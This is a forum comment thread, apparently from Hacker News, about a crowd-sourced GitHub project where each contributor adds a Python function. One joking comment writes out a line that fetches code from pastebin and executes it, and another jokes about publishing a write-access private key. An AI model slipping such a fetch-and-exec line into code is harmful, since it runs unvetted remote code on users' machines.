I'm interested in where this goes, if it goes anywhere. Seems like a cool concept, but only if the functions interact, and build upon one and other, not just print "Hi this is quaz3l! I defined a variable!".

prezjordan• 13 years ago

I originally wanted to write an `incr(x)` function which increments a variable. However, it seemed to me that we needed to "print" something, so I think I added to the confusion by making a graffiti of sorts.

Taken to its logical conclusion, it will produce Emacs.

zackelan• 13 years ago

I hope no one adds the 'M-x skynet' mode, or we're all screwed.

timack• 13 years ago

It will just expand until it can read mail.

And evolve into a web framework, which will eventually be ported as a Node module.

propbably taken down after someone posts copyrighted code

moxie• 13 years ago

Disappointed that someone hasn't already slipped in:

exec requests.get('http://http://pastebin.com/raw.php?i=fun_harmless_social_con...).content

And lisp will be there

Danieru• 13 years ago

I hope so. Once I'm done my exam I plan to add a super small lisp interpreter.

anyone want to help with the merges? hit me up - sri [dot] umd [at] gmail

niggler• 13 years ago

sadly after 65 commits no one fixed the typo:

https://github.com/sricola/socode/blob/master/socode.py#L5

    #       - Add a funtion with your github name as its name.

that 'funtion' should be 'function'

> sadly...

Did that really make you sad?

undershirt• 13 years ago

Is it possible to give everyone push access?

sricola3• 13 years ago

I just pinged github/twitterverse to see if they have any ideas.

wulczer• 13 years ago

Create a new GitHub account, give it write access to the repo, generate a fresh RSA keypair, post the private key.

solox3• 13 years ago

Disappointed that people with numeric usernames cannot participate because numbers are not function names.

HoLyVieR• 13 years ago

Nothing stops you from prefixing your function with an underscore.

  File "./socode.py", line 297
    print ', '.join(contributors_list) 
    ^

IndentationError: unexpected indent

DanielN• 13 years ago

yeah, choosing to do this in python might not have been the best idea.

felipelalli2• 13 years ago

yes :(

skun• 13 years ago

I fixed this :)

matiasb• 13 years ago

a lot of open pull requests...

sricola3• 13 years ago

Someone should make a function that mines a trivial amount of bitcoin

livnev• 13 years ago

Unfortunately that's not really feasible without being part of a Mining pool: it simply takes too long until you make a block.

[1](bitcoin mining is granular and not continuous https://en.bitcoin.it/wiki/Mining_Pool)

jspash• 13 years ago

What, no tests!? Just kidding. We don't need no stinkin tests.

joetech• 13 years ago

This cannot end well.

Yhippa• 13 years ago

I've never used Python but looking through the code I think I'm starting to pick it up a little bit.

dsyph3r• 13 years ago

Think this maybe the first repo I've seen with more forks (224) than stars (132)

zgohr• 13 years ago

I can say I was initially not convinced this would take off. 175 pull requests later I've changed my tune. Now that we know there is a large talent pool interested in such a task, I wonder how much structure could be added before interest starts to subside. Surely something fantastic could come of this, but we just proved it needs a bit more direction.

fidz• 13 years ago

The first time i have my pull request approved on Github. LOL
